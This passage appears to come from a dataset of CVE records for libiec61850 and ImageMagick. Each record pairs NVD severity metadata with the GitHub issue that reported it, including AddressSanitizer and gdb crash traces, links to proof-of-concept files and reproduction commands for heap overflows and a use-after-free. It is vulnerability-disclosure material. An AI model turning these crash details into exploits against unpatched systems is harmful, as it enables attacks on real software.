#3 0x4c21df in main /home/casper/targets/struct/libiec61850/dbg/../fuzzsrc/fuzzmmsdata.c:12:21
#4 0x7ffff6969b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41ab99 in _start (/home/casper/targets/struct/libiec61850/dbg/fuzzrun/test+0x41ab99)
0x602000000079 is located 0 bytes to the right of 9-byte region [0x602000000070,0x602000000079)
allocated by thread T0 here:
#0 0x492c12 in calloc /tmp/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:154:3
#1 0x7ffff7b6f15c in Memory_calloc /home/casper/targets/struct/libiec61850/dbg/SRC/hal/memory/lib_memory.c:59:20
#2 0x7ffff7a25724 in Asn1PrimitiveValue_create /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/asn1/asn1_ber_primitive_value.c:35:28
#3 0x7ffff7a29cfd in BerInteger_createInt64 /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/asn1/ber_integer.c:174:12
#4 0x7ffff79891ac in MmsValue_newUnsigned /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/iso_mms/common/mms_value.c:1300:31
#5 0x7ffff7a00300 in MmsValue_decodeMmsData /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/iso_mms/server/mms_access_result.c:238:17
#6 0x7ffff79ff9b3 in MmsValue_decodeMmsData /home/casper/targets/struct/libiec61850/dbg/SRC/src/mms/iso_mms/server/mms_access_result.c:194:38
#7 0x4c21df in main /home/casper/targets/struct/libiec61850/dbg/../fuzzsrc/fuzzmmsdata.c:12:21
#8 0x7ffff6969b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:22:3 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa 00 00 fa fa 01 fa fa fa 00 02 fa fa 00[01]
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==25413==ABORTING
[Inferior 2 (process 25894) exited normally]
```
|
Heap overflow in function MmsValue_decodeMmsData mms/iso_mms/server/mms_access_result.c:238
|
https://api.github.com/repos/mz-automation/libiec61850/issues/194/comments
| 0
|
2019-12-20T13:55:52Z
|
2020-01-04T15:00:40Z
|
https://github.com/mz-automation/libiec61850/issues/194
| 541,007,177
| 194
| 909
|
CVE-2019-19944
|
2019-12-23T19:15:11.497
|
In libIEC61850 1.4.0, BerDecoder_decodeUint32 in mms/asn1/ber_decode.c has an out-of-bounds read, related to intLen and bufPos.
|
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"baseSeverity": "MEDIUM",
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"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
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"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/mz-automation/libiec61850/issues/196"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/mz-automation/libiec61850/issues/196"
}
] |
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[
"125"
] |
125
|
https://github.com/mz-automation/libiec61850/issues/196
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"mz-automation",
"libiec61850"
] |
BerDecoder_decodeUint32 in src/mms/asn1/ber_decode.c doesn't check passed arguments.
`intLen` and `bufPos` can be large number, so following memory access `buffer[bufPos+i]` would segment fault.
<img width="540" alt="Screen Shot 2019-12-23 at 3 11 34 PM" src="https://user-images.githubusercontent.com/20929895/71342260-30f6ee00-2597-11ea-8ae6-ab790216b0d7.png">
poc:
[poc.zip](https://github.com/mz-automation/libiec61850/files/3993995/poc.zip)
gdb stack backtrace:
```
gdb-peda$ r < poc
Starting program: /home/casper/targets/struct/libiec61850/dbg/fuzzrun/fuzzmmsdata < crashes/id:000010,sig:06,src:000030,op:int32,pos:16,val:-129
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xfa9000
RBX: 0x7fffffffdfc0 --> 0x7ffff7ffe170 --> 0x0
RCX: 0xfa9000
RDX: 0x1f5200
RSI: 0x7fffff00 --> 0x0
RDI: 0xf988c0 --> 0x9292929292929280
RBP: 0x7fffffffdf70 --> 0x7fffffffe2f0 --> 0x7fffffffe320 --> 0x4c2210 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdf40 --> 0x1200000001 --> 0x0
RIP: 0x7ffff7a269a7 (<BerDecoder_decodeUint32+135>: movzx ecx,BYTE PTR [rax])
R8 : 0x7fffffffdf00 --> 0x400000000000000
R9 : 0x1
R10: 0x4
R11: 0x0
R12: 0x1f3118
R13: 0x7fffffffe400 --> 0x1
R14: 0xf988c0 --> 0x9292929292929280
R15: 0x1
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a2699a <BerDecoder_decodeUint32+122>: mov rdi,QWORD PTR [rbp-0x20]
0x7ffff7a2699e <BerDecoder_decodeUint32+126>: call 0x7ffff79643c0 <__asan_report_load1@plt>
0x7ffff7a269a3 <BerDecoder_decodeUint32+131>: mov rax,QWORD PTR [rbp-0x20]
=> 0x7ffff7a269a7 <BerDecoder_decodeUint32+135>: movzx ecx,BYTE PTR [rax]
0x7ffff7a269aa <BerDecoder_decodeUint32+138>: add ecx,DWORD PTR [rbp-0x14]
0x7ffff7a269ad <BerDecoder_decodeUint32+141>: mov DWORD PTR [rbp-0x14],ecx
0x7ffff7a269b0 <BerDecoder_decodeUint32+144>: mov eax,DWORD PTR [rbp-0x18]
0x7ffff7a269b3 <BerDecoder_decodeUint32+147>: add eax,0x1
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf40 --> 0x1200000001 --> 0x0
0008| 0x7fffffffdf48 --> 0x12
0016| 0x7fffffffdf50 --> 0xfa9000
0024| 0x7fffffffdf58 --> 0x1072c
0032| 0x7fffffffdf60 --> 0x7fffffff00000014
0040| 0x7fffffffdf68 --> 0xf988c0 --> 0x9292929292929280
0048| 0x7fffffffdf70 --> 0x7fffffffe2f0 --> 0x7fffffffe320 --> 0x4c2210 (<__libc_csu_init>: push r15)
0056| 0x7fffffffdf78 --> 0x7ffff7a01b72 (<MmsValue_decodeMmsData+1634>: mov edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a269a7 in BerDecoder_decodeUint32 () from /home/casper/targets/struct/libiec61850/dbg/INSTALL/lib/libiec61850.so.1.4.0
gdb-peda$ bt
#0 0x00007ffff7a269a7 in BerDecoder_decodeUint32 () from /home/casper/targets/struct/libiec61850/dbg/INSTALL/lib/libiec61850.so.1.4.0
#1 0x00007ffff7a01b72 in MmsValue_decodeMmsData () from /home/casper/targets/struct/libiec61850/dbg/INSTALL/lib/libiec61850.so.1.4.0
#2 0x00000000004c21e0 in main ()
#3 0x00007ffff696bb97 in __libc_start_main (main=0x4c2180 <main>, argc=0x1, argv=0x7fffffffe408, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe3f8) at ../csu/libc-start.c:310
#4 0x000000000041ab9a in _start ()
```
|
Deny of service caused in function BerDecoder_decodeUint32 in src/mms/asn1/ber_decode.c
|
https://api.github.com/repos/mz-automation/libiec61850/issues/196/comments
| 2
|
2019-12-23T07:20:53Z
|
2020-03-03T15:01:49Z
|
https://github.com/mz-automation/libiec61850/issues/196
| 541,616,205
| 196
| 910
|
CVE-2019-19948
|
2019-12-24T01:15:11.247
|
In ImageMagick 7.0.8-43 Q16, there is a heap-based buffer overflow in the function WriteSGIImage of coders/sgi.c.
|
{
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"acInsufInfo": false,
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"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
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[
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"url": "https://github.com/ImageMagick/ImageMagick/issues/1562"
},
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"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2019/12/msg00033.html"
},
{
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"tags": [
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],
"url": "https://usn.ubuntu.com/4549-1/"
},
{
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],
"url": "https://www.debian.org/security/2020/dsa-4712"
},
{
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"tags": [
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],
"url": "https://www.debian.org/security/2020/dsa-4715"
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"tags": [
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"Third Party Advisory"
],
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},
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"Patch",
"Third Party Advisory"
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"tags": [
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],
"url": "https://usn.ubuntu.com/4549-1/"
},
{
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"tags": [
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],
"url": "https://www.debian.org/security/2020/dsa-4712"
},
{
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"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2020/dsa-4715"
}
] |
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[
"787"
] |
787
|
https://github.com/ImageMagick/ImageMagick/issues/1562
|
[
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"ImageMagick",
"ImageMagick"
] |
### Prerequisites
- [X] I have written a descriptive issue title
- [X] I have verified that I am using the latest version of ImageMagick
- [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There is a heap buffer overflow vulnerability in function WriteSGIImage of coders/sgi.c.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
[poc](https://drive.google.com/open?id=1s1qxnLgAWnDOLL582hni6LgrvCnPddI0)
magick convert $poc ./test.sgi
`=================================================================`
`==41720==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f70c67db7f8 at pc 0x0000006c216f bp 0x7ffea64ddb50 sp 0x7ffea64ddb40`
`WRITE of size 1 at 0x7f70c67db7f8 thread T0`
` #0 0x6c216e in WriteSGIImage coders/sgi.c:1051`
` #1 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #2 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #3 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #4 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #5 0x4100a1 in MagickMain utilities/magick.c:149`
` #6 0x410282 in main utilities/magick.c:180`
` #7 0x7f70c10c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
` #8 0x40fbb8 in _start (/home/test/temp/ImageMagick/utilities/magick+0x40fbb8)`
`0x7f70c67db7f8 is located 8 bytes to the left of 524288-byte region [0x7f70c67db800,0x7f70c685b800)`
`allocated by thread T0 here:`
` #0 0x7f70c5868076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076)`
` #1 0x4408c7 in AcquireAlignedMemory MagickCore/memory.c:265`
` #2 0x440beb in AcquireVirtualMemory MagickCore/memory.c:621`
` #3 0x6c1ead in WriteSGIImage coders/sgi.c:1030`
` #4 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #5 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #6 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #7 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #8 0x4100a1 in MagickMain utilities/magick.c:149`
` #9 0x410282 in main utilities/magick.c:180`
` #10 0x7f70c10c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
`SUMMARY: AddressSanitizer: heap-buffer-overflow coders/sgi.c:1051 WriteSGIImage`
`Shadow bytes around the buggy address:`
` 0x0fee98cf36a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
`=>0x0fee98cf36f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]`
` 0x0fee98cf3700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
`Shadow byte legend (one shadow byte represents 8 application bytes):`
` Addressable: 00`
` Partially addressable: 01 02 03 04 05 06 07 `
` Heap left redzone: fa`
` Heap right redzone: fb`
` Freed heap region: fd`
` Stack left redzone: f1`
` Stack mid redzone: f2`
` Stack right redzone: f3`
` Stack partial redzone: f4`
` Stack after return: f5`
` Stack use after scope: f8`
` Global redzone: f9`
` Global init order: f6`
` Poisoned by user: f7`
` Container overflow: fc`
` Array cookie: ac`
` Intra object redzone: bb`
` ASan internal: fe`
`==41720==ABORTING`
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
`Version: ImageMagick 7.0.8-43 Q16 x86_64 2019-04-29 https://imagemagick.org`
`Copyright: ? 1999-2019 ImageMagick Studio LLC`
`License: https://imagemagick.org/script/license.php`
`Features: Cipher DPC HDRI OpenMP(4.0) `
`Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib`
- Environment (Operating system, version and so on):
`Distributor ID: Ubuntu`
`Description: Ubuntu 16.04.1 LTS`
`Release: 16.04`
`Codename: xenial`
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
|
heap-buffer-overflow in WriteSGIImage of coders/sgi.c
|
https://api.github.com/repos/ImageMagick/ImageMagick/issues/1562/comments
| 2
|
2019-04-29T03:08:25Z
|
2020-02-07T01:34:56Z
|
https://github.com/ImageMagick/ImageMagick/issues/1562
| 438,134,907
| 1,562
| 911
|
CVE-2019-19949
|
2019-12-24T01:15:11.327
|
In ImageMagick 7.0.8-43 Q16, there is a heap-based buffer over-read in the function WritePNGImage of coders/png.c, related to Magick_png_write_raw_profile and LocaleNCompare.
|
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|
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"tags": [
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}
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[
"125"
] |
125
|
https://github.com/ImageMagick/ImageMagick/issues/1561
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"ImageMagick",
"ImageMagick"
] |
### Prerequisites
- [x] I have written a descriptive issue title
- [X] I have verified that I am using the latest version of ImageMagick
- [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There is a heap buffer overflow vulnerability in function WritePNGImage of png.c.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
[poc](https://drive.google.com/open?id=11dbKOgAj3s8BPTO4P4Xescp2-2HlQUBP)
magick convert $poc ./test.png
`=================================================================`
`==41625==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000b251 at pc 0x7f57acd61145 bp 0x7fff0c9e88f0 sp 0x7fff0c9e8098`
`READ of size 1 at 0x60200000b251 thread T0`
` #0 0x7f57acd61144 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x4b144)`
` #1 0x435b4e in LocaleNCompare MagickCore/locale.c:1581`
` #2 0x76bab9 in Magick_png_write_raw_profile coders/png.c:8183`
` #3 0x77be6c in WriteOnePNGImage coders/png.c:11083`
` #4 0x783ffa in WritePNGImage coders/png.c:12744`
` #5 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #6 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #7 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #8 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #9 0x4100a1 in MagickMain utilities/magick.c:149`
` #10 0x410282 in main utilities/magick.c:180`
` #11 0x7f57a860f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
` #12 0x40fbb8 in _start (/home/ImageMagick/utilities/magick+0x40fbb8)`
``
`0x60200000b251 is located 0 bytes to the right of 1-byte region [0x60200000b250,0x60200000b251)`
`allocated by thread T0 here:`
` #0 0x7f57acdae602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)`
` #1 0x44096a in AcquireMagickMemory MagickCore/memory.c:478`
` #2 0x4409be in AcquireQuantumMemory MagickCore/memory.c:551`
` #3 0x4c4165 in ConstantString MagickCore/string.c:713`
` #4 0x49a6fb in CloneSplayTree MagickCore/splay-tree.c:372`
` #5 0x487eab in CloneImageProfiles MagickCore/profile.c:190`
` #6 0x418926 in CloneImage MagickCore/image.c:838`
` #7 0x76d056 in WriteOnePNGImage coders/png.c:8528`
` #8 0x783ffa in WritePNGImage coders/png.c:12744`
` #9 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #10 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #11 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #12 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #13 0x4100a1 in MagickMain utilities/magick.c:149`
` #14 0x410282 in main utilities/magick.c:180`
` #15 0x7f57a860f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
``
`SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??`
`Shadow bytes around the buggy address:`
` 0x0c047fff95f0: fa fa 07 fa fa fa 00 01 fa fa 00 fa fa fa 04 fa`
` 0x0c047fff9600: fa fa 00 03 fa fa 00 fa fa fa 00 02 fa fa 06 fa`
` 0x0c047fff9610: fa fa 00 05 fa fa 05 fa fa fa 00 fa fa fa 01 fa`
` 0x0c047fff9620: fa fa 00 02 fa fa 00 04 fa fa 00 04 fa fa 00 04`
` 0x0c047fff9630: fa fa 03 fa fa fa 00 02 fa fa 07 fa fa fa 07 fa`
`=>0x0c047fff9640: fa fa 00 01 fa fa 04 fa fa fa[01]fa fa fa 00 04`
` 0x0c047fff9650: fa fa 04 fa fa fa 04 fa fa fa 00 02 fa fa 06 fa`
` 0x0c047fff9660: fa fa 04 fa fa fa 00 02 fa fa 06 fa fa fa 04 fa`
` 0x0c047fff9670: fa fa 00 02 fa fa 06 fa fa fa 04 fa fa fa 00 02`
` 0x0c047fff9680: fa fa 06 fa fa fa 04 fa fa fa 00 02 fa fa 00 03`
` 0x0c047fff9690: fa fa 06 fa fa fa 04 fa fa fa 00 02 fa fa 05 fa`
`Shadow byte legend (one shadow byte represents 8 application bytes):`
` Addressable: 00`
` Partially addressable: 01 02 03 04 05 06 07 `
` Heap left redzone: fa`
` Heap right redzone: fb`
` Freed heap region: fd`
` Stack left redzone: f1`
` Stack mid redzone: f2`
` Stack right redzone: f3`
` Stack partial redzone: f4`
` Stack after return: f5`
` Stack use after scope: f8`
` Global redzone: f9`
` Global init order: f6`
` Poisoned by user: f7`
` Container overflow: fc`
` Array cookie: ac`
` Intra object redzone: bb`
` ASan internal: fe`
`==41625==ABORTING`
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
`Version: ImageMagick 7.0.8-43 Q16 x86_64 2019-04-29 https://imagemagick.org`
`Copyright: ? 1999-2019 ImageMagick Studio LLC`
`License: https://imagemagick.org/script/license.php`
`Features: Cipher DPC HDRI OpenMP(4.0) `
`Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib`
- Environment (Operating system, version and so on):
`Distributor ID: Ubuntu`
`Description: Ubuntu 16.04.1 LTS`
`Release: 16.04`
`Codename: xenial`
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
|
heap-buffer-overflow in WritePNGImage of png.c
|
https://api.github.com/repos/ImageMagick/ImageMagick/issues/1561/comments
| 3
|
2019-04-29T02:55:44Z
|
2019-12-26T12:39:58Z
|
https://github.com/ImageMagick/ImageMagick/issues/1561
| 438,133,289
| 1,561
| 912
|
CVE-2019-19952
|
2019-12-24T01:15:11.527
|
In ImageMagick 7.0.9-7 Q16, there is a use-after-free in the function MngInfoDiscardObject of coders/png.c, related to ReadOneMNGImage.
|
{
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"baseSeverity": "HIGH",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
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}
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"attackVector": "NETWORK",
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"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
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}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/1791"
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{
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"tags": [
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"Patch",
"Third Party Advisory"
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"url": "https://github.com/ImageMagick/ImageMagick/issues/1791"
}
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[
"416"
] |
416
|
https://github.com/ImageMagick/ImageMagick/issues/1791
|
[
"Exploit",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"ImageMagick",
"ImageMagick"
] |
### Prerequisites
- [X] I have written a descriptive issue title
- [X] I have verified that I am using the latest version of ImageMagick
- [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There is a heap-use-after-free vulnerability in function MngInfoDiscardObject of coders/png.c whick can be reproduced as below.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
[poc](https://drive.google.com/open?id=1z31pFLCb5tluwW_n_l7Dh9C_YWBs_IvX)
magick convert $poc /dev/null
`=================================================================`
`==21864==ERROR: AddressSanitizer: heap-use-after-free on address 0xf0a2c1ad at pc 0x083e0eb3 bp 0xffafc948 sp 0xffafc938`
`READ of size 1 at 0xf0a2c1ad thread T0`
` #0 0x83e0eb2 in MngInfoDiscardObject coders/png.c:1569`
` #1 0x83e1237 in MngInfoFreeStruct coders/png.c:1609`
` #2 0x84021f5 in ReadMNGImage coders/png.c:7790`
` #3 0x84fccbf in ReadImage MagickCore/constitute.c:553`
` #4 0x810a116 in ReadStream MagickCore/stream.c:1043`
` #5 0x84fbcd1 in PingImage MagickCore/constitute.c:273`
` #6 0x84fc2e3 in PingImages MagickCore/constitute.c:374`
` #7 0x8991f79 in IdentifyImageCommand MagickWand/identify.c:304`
` #8 0x8a26ba8 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #9 0x8053b31 in MagickMain utilities/magick.c:149`
` #10 0x8053d72 in main utilities/magick.c:180`
` #11 0xf60c5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)`
` #12 0x80535a0 (/home/ImageMagick/utilities/magick+0x80535a0)`
`0xf0a2c1ad is located 8365 bytes inside of 12368-byte region [0xf0a2a100,0xf0a2d150)`
`freed by thread T0 here:`
` #0 0xf7241a84 in free (/usr/lib/i386-linux-gnu/libasan.so.2+0x96a84)`
` #1 0x808a8e4 in RelinquishMagickMemory MagickCore/memory.c:1089`
` #2 0x83e12de in MngInfoFreeStruct coders/png.c:1614`
` #3 0x8401702 in ReadOneMNGImage coders/png.c:7681`
` #4 0x84021e4 in ReadMNGImage coders/png.c:7789`
` #5 0x84fccbf in ReadImage MagickCore/constitute.c:553`
` #6 0x810a116 in ReadStream MagickCore/stream.c:1043`
` #7 0x84fbcd1 in PingImage MagickCore/constitute.c:273`
` #8 0x84fc2e3 in PingImages MagickCore/constitute.c:374`
` #9 0x8991f79 in IdentifyImageCommand MagickWand/identify.c:304`
` #10 0x8a26ba8 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #11 0x8053b31 in MagickMain utilities/magick.c:149`
` #12 0x8053d72 in main utilities/magick.c:180`
` #13 0xf60c5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)`
`previously allocated by thread T0 here:`
` #0 0xf7241dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)`
` #1 0x80899a2 in AcquireMagickMemory MagickCore/memory.c:488`
` #2 0x8402117 in ReadMNGImage coders/png.c:7780`
` #3 0x84fccbf in ReadImage MagickCore/constitute.c:553`
` #4 0x810a116 in ReadStream MagickCore/stream.c:1043`
` #5 0x84fbcd1 in PingImage MagickCore/constitute.c:273`
` #6 0x84fc2e3 in PingImages MagickCore/constitute.c:374`
` #7 0x8991f79 in IdentifyImageCommand MagickWand/identify.c:304`
` #8 0x8a26ba8 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #9 0x8053b31 in MagickMain utilities/magick.c:149`
` #10 0x8053d72 in main utilities/magick.c:180`
` #11 0xf60c5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)`
`SUMMARY: AddressSanitizer: heap-use-after-free coders/png.c:1569 MngInfoDiscardObject`
`Shadow bytes around the buggy address:`
` 0x3e1457e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e1457f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145810: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145820: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
`=>0x3e145830: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd`
` 0x3e145840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145850: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145860: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
`Shadow byte legend (one shadow byte represents 8 application bytes):`
` Addressable: 00`
` Partially addressable: 01 02 03 04 05 06 07 `
` Heap left redzone: fa`
` Heap right redzone: fb`
` Freed heap region: fd`
` Stack left redzone: f1`
` Stack mid redzone: f2`
` Stack right redzone: f3`
` Stack partial redzone: f4`
` Stack after return: f5`
` Stack use after scope: f8`
` Global redzone: f9`
` Global init order: f6`
` Poisoned by user: f7`
` Container overflow: fc`
` Array cookie: ac`
` Intra object redzone: bb`
` ASan internal: fe`
`==21864==ABORTING`
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
